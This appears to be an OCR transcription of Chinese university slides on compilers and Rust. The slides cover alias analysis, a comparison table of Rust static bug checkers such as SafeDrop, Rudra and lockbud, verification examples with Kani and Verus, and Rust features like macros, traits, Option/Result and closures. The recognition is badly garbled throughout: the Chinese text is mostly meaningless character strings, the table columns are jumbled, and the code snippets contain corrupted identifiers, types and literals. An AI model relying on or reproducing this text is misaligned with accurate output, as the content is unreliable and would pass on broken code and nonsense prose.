Statement 2: _1 = move _4; // alias sets:{_1, _4}, {_2}
ﬂ Statement 3: _3 = &_1; // alias sets:{_1, _3, _4}, {_2}
3. R ILEL et ot RBBRIES SHEE

@ SafeDrop: Detecting memory deallocation bugs of rust programs via static data-flow analysis." TOSEM. 2023.



%.3]14:
1) (ERAEESS T I ASafeDrop. RudraZEH o HTHERM

> ref: https://burtonqin.github.io/posts/2024/07/rustcheckers/

2) ;:ﬁﬁg Rustﬁ?‘&ﬁ‘*ﬁ' E% Static Checkers

-, \x o .
> ;Iaj:t\ 7]” gﬁ 1‘=F E A QU e ry Name Description Z\Lorkmg Bug Types Technology | Maintenance
I E_ Rust mid-level IR Abstract Panic, Security bugs, Abstract
MIRAI
> E Ca rgOI- 7S T Interpreter MIR Correctness Interpretation jalafafalel

Double-Lock, Conflicting-

Statically detect common memory Lock-Order. Atomicity

and concurrrency bugs in Rust. Data-flow
lockbud ybug MIR Violation, Use-After-Free, ) Kk KKk
Paper: Safety Issues in Rust, . . Analysis
Invalid-Free, Panic
TSE'24 Rk
Locations
Sl Rust Analysis Platform. Paper: Use-After-Free, Double Data-flow
(formerly v -raper: MIR ' . 1 .8.8.8 ¢ 4
SafeDrop, TOSEM'22 Free Analysis
SafeDrop).
Memory safety when
Rust Memory Safety & Undefined . y . y
. . panicked, Higher Order Data-flow
Rudra Behavior Detection. Paper: Rudra, | HIR, MIR ) . 1.8 .8 $ 8%
Invariant, Send Sync Analysis
SOSP'21 .
Variance
Automatically Detecting Lifetime Data-flow
Yuga Annotation Bugs in the Rust HIR, MIR | Lifetime Annotation Bugs Analvsis 2.8 8.8, 8%
Language. Paper: Yuga, ICSE'24 4
Panic (including
A Simple Static Analysis Tool for numerical), Lifetime Abstract
MirChecker | ©* >'P ¢ Analys| MIR umerical), Lifeti R 2 2
Rust. Paper: MirChecker, CCS'21 Corruption (memory Interpretation

issues)




F+HR: ST — REEE
+EBEREAM: FFSHIT. AREBEEREFMKER
< Karni. Verus. Prustii$3

fn foo(len: usize, buf: &mut [u8]) { #[cfg(kani)]
if len > buf.len() { #[kani: :proof]
return; #[kani::unwind(1)]
} fn check foo() {
for 1 in O..len { const LIMIT: usize = 10;
buf[i] = ©; let mut buf: [u8; LIMIT] = [1; LIMIT];
} let len = kani::any();
} foo(len, &mut buf);
}

cargo kani --harness foo

@ https://github.com/model-checking/kani



%:.3]15:
1) FEARBEKEETAR

> https://github.com/model-checking/kani

> https://github.com/verus-lang/verus

2) I ERRM
3) AEBKET ARNIIEE

verus! {
fn octuple(x1l: i8) -> (x8:
requires
-16 <= x1 < 16,
ensures
x8 == 8 * x1,
{
let x2 = x1 + x1;
let x4 = x2 + x2;
X4 + x4
}
fn main() {
let n = octuple(10);
assert(n == 80);
}

+ // verus!

i8)
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COMP 130014 4RiF R IE

o E—E5y: YRiESERTiR HFERH:
> JEESHT LU IR B dmiEsssEL B R E,
> TeaPLiBSEIR T % RustiIE L IBiES 43 K7 26 S2 18 10 Fn o= ST 4R R A

B PERE
> RBERGE: HRustZERIHENT
> ERMEIR: RITZRY, TraitHFESEI X
> REBHEAL
SETES: WEREE [m] S [m]
- O TRIR AR
> BERHE =]

> REBFRMBELE: %R i
IRIEETL: https://github.com/hxuhack/course_compiler




COMP 130014 4wi¥ R IE
»IRIERHE:
> 1-16/8, 4545r$h*5T5iR/A
3R E, 2R EMN
“IRIEE
> i Edl: 50%
E @ISR AR, RARVHEMURABGEREN (FRE—ERRE)
HRIRC/C++h A, RESMASYIREIRusthRAS (Flex/Bison AN 32 #F)
> FFEEE: 50%




o

=i

YmVERTEI

+letTEFE: ETEME TEMAMHRERE & K: FdwiE/ Metaprogramming (FFHUERR)

let v: Vec<u32> = vec![1l, 2, 3];

let x:1i32 = 1; int32 t x = 1;
let y = 2; auto y = 2;
Rust{XHY C++{XAY

+ IR W EA: (ET B T

fn larger(x: 132, y: i32) -> i32 {

}

Rust{XHg

#[macro_export]
macro_rules! vec {

( $( $x:expr ),* ) => {

{
let mut temp vec = Vec::new();
$(
temp vec.push($x);
)*
temp_vec
}
}s
}
+ W EINEE
<& kR




RiE S : ZERVHEHT

< 4 Damas-Hindley-MilnerJ5 ;%

>Eﬁﬁ%&

> 1R R RIZ) R

> ZIRK %

|type|E::j id

g int 10 fib

(varDecl] Lif | arDef varDef

X int

é\ (type) Cx=
id

GG
0 e

B
H =

Jgu

fnCall
a b

varDef ret

[par‘am] [

fib

main

varDef

FRIRTF {ER ] RE
g global Oxd9c2 int
fib global oxd470 (int) -» int
main global Oxd318 (void) - void
[1] = int

[x] = [1] = [x-1] = [T]
[fib] = ([T])->[fib(T)]
[fib(T)] = [a]

[fib] = (int) - int




=L

& ZBIYREE

<> Trait/4E 7%

4 Dyn TraitBISIR &

Alim + PEMRES: ZREIE

fn max<T:0rd>(x:T,y:T) -> T{
if x >y {x} else {y}
}

Rust{{f5

struct S { s:i32 }
impl A for S { }

trait B : A{ ... }
data dyn trait object
< data
vptr —>

template <typename T>
T max(T x, Ty) {

return (x > y) ? X : VY,
}
C++{XH5
vtable implementation

Q

T::a()

\ 4 \ 4

T::b()




R IRETT . . H S T ‘
Bl im + PEMCES: $HIRACTR /MR ILHEC
< SLHIResult/OptionJEHY pub enum Option<T> { pub enum Result<T, E> {
None, Ok(T),
Some(T), Err(E),
} }
<> If-let/while-let/let-else fn get_number<T>() -> Option<T>{...}

B % match-case, B if let Some(i) = get _number() {
println! ("{:?}!", 1);

1 else {

}
4 SCIR “9” #iRES fn create<P: AsRef<Path>>(path: P) -> Result<File> {...}
B sE =R EIEHR fn write_all(&mut self, buf: &[u8]) -> Result<()> {...}

fn write message() -> io::Result<()> {
let mut file = File::create("valuable data.txt")?;

file.write all(b"important message")?;

@ } Ok (())




B + FREMCED: R

< RPFESH/REME

< Closure

& 1EREF: filter/map

fn hofn<F>(v1:i32, v2:i32, f: F) -> 132
where F: Fn(i32, i32) -> i32 {
f(vl,v2)

let i = 10;
let cl = move |a, b| {a+b+i};
let result = hofn(20, 10, cl);

let mut v:Vec<u32> = (1..100).collect();
let it = v.iter().filter(|x| *x % 2 as u32 == 0);
let v2: Vec< > = v.iter().map(|x| x + 1).collect();




5B S ik

« W XFRIEfESERE

Y SEINE gefa &t

<Y SER R ThEE => BT
v SEIIGC




KN

g 511t

RERMIT]

—\

-

%W VE IR

—_\




B4

< RustB— | MEBFEINRIZES: REUEMME. BEEDIRRITREE
- BEMBFS T HRustHBE— R ERIBIKES

< YIEIREE : IRFRERustBYSEEIHLEI; FRustSEIR4RiERS
+ABEREIENDFRNEST; MRERETEZBRLEIIS
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